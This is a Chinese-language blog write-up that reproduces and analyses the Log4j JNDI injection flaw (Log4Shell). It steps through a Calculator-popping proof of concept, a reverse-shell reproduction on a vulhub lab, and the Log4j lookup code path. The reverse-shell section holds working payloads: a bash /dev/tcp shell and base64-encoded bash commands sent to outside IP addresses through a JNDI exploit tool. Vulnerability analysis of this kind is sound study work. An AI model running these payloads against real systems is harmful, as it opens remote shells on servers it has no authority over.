Log4j介绍
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件.我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
程序员通过调用logger的不同方法可以输出日志还有向控制台输出信息,刚开始做java的时候大家都是使用
1
| System.out.println("logger");
|
来将信息打印到控制台下的,但是真正开发的时候一般大多数是使用log4j2组件来实现的,这里首先还是需要配置一下log4j.properties文件来输出日志,但是这里因为是分析漏洞就不测试了
1 2 3 4 5 6 7 8 9
| public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) { logger.debug("debug"); logger.info("info"); logger.error("error"); } }
|
运行截图如下
我们知道POC是${jndi:ldap://xxx.dnslog.cn/xxx},在输入框中输入内容,然后如果logger.error(xx)xx为我们输入的内容执行了就会发送一个dns请求解析我们的域名,这里可以用JNDI注入来实现.
复现漏洞
首先还是复现一下漏洞吧,这里新建一个log4j.java的类,写上如下的内容
1 2 3 4 5 6 7
| public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) { logger.error("${jndi:ldap://127.0.0.1:1389/aa}"); } }
|
然后新建一个test.java写上如下的内容exec()函数中可以替换成任意的指令,并且用javac编译为test.class
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException;
public class test { static { try { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); } catch (IOException e) { e.printStackTrace(); } } }
|
如下结构,之后使用marshalsec-0.0.3-SNAPSHOT-all.jar开启一下虚拟的JDNI服务
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8081/#test"
|


另外开启一个terminal窗口在test.class目录下开启一个http服务在8081窗口

这里就回到log4j.java的main方法直接执行,就可以成功的弹出计算器.

反弹shell复现
这里使用vulhub的靶场
生成payload的网站
https://tools.zjun.info/runtime-exec-payloads/
1 2 3 4 5 6 7 8 9
| bash -i >& /dev/tcp/49.235.94.160/9998 0>&1
ping 123qwe.brlsij.dnslog.cn
bash -c {echo,cGluZyAxMjNxd2UuYnJsc2lqLmRuc2xvZy5jbgoK}|{base64,-d}|{bash,-i}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,cGluZyAxMjNxd2UuYnJsc2lqLmRuc2xvZy5jbgoK}|{base64,-d}|{bash,-i}" -A "49.235.94.160"
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDcuMTc1LjkxLjE5OC8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}" -A "107.175.91.198"
|

RCE分析
首先在logger.error()方法打一处断点,直接进入到AbstractLogger.log()方法


之后会经历一系列的代码处理,前面会有很多的没用的log处理的方法很繁杂

一直到PatternLayout.toText()方法进入到关键方法,这里指向了toSerializable()

toSerializable()指向了format()函数,其中formatters是PatternFormatter类


这里就会执行到converter.format(event, buf);而converter的是属于LogEventPatternConverter类的就来到了关键的方法.


LogEventPatternConverter.format方法是处理字符串的关键方法,这里就是判断是否以${开头,所以我们的POC才要这样构造,之后if判断为true,就会进入到config.getStrSubstitutor().replace(event, value)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| @Override public void format(final LogEvent event, final StringBuilder toAppendTo) { final Message msg = event.getMessage(); if (msg instanceof StringBuilderFormattable) {
final boolean doRender = textRenderer != null; final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
final int offset = workingBuilder.length(); if (msg instanceof MultiFormatStringBuilderFormattable) { ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder); } else { ((StringBuilderFormattable) msg).formatTo(workingBuilder); }
if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1; i++) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { final String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); workingBuilder.append(config.getStrSubstitutor().replace(event, value)); } } } if (doRender) { textRenderer.render(workingBuilder, toAppendTo); } return; } if (msg != null) { String result; if (msg instanceof MultiformatMessage) { result = ((MultiformatMessage) msg).getFormattedMessage(formats); } else { result = msg.getFormattedMessage(); } if (result != null) { toAppendTo.append(config != null && result.contains("${") ? config.getStrSubstitutor().replace(event, result) : result); } else { toAppendTo.append("null"); } } }
|
该replace()方法会进入到StrSubstitutor.substitute方法

然后调用自己substitute()方法

进入resolveVariable方法,这里已经将varName的${}给替换掉了


然后就会执行lookup()方法

会进入到Interpolator.lookup()方法中,这里的name参数已经变成了

这里的条件判断很有意思
这里就走到了JndiLookup的lookup函数,那这里为什么会走到JNDI的呢

回到前面我们可以看到final StrLookup lookup = strLookupMap.get(prefix)条代码,在strLookupMap中已经存在了如下这么多的内容执行get方法,这里参数是prefix在上边中已经被赋值为jndi了于是就会走到JndiLookup

之后会执行到jndiManager.lookup(jndiName)函数就是最后的触发点


左下角的堆栈的内容是加载远程的class类来实例化对象,这里我把恶意代码写到了静态代码块内,加载的时候就会执行,确实程序走到这一步的时候就执行了计算器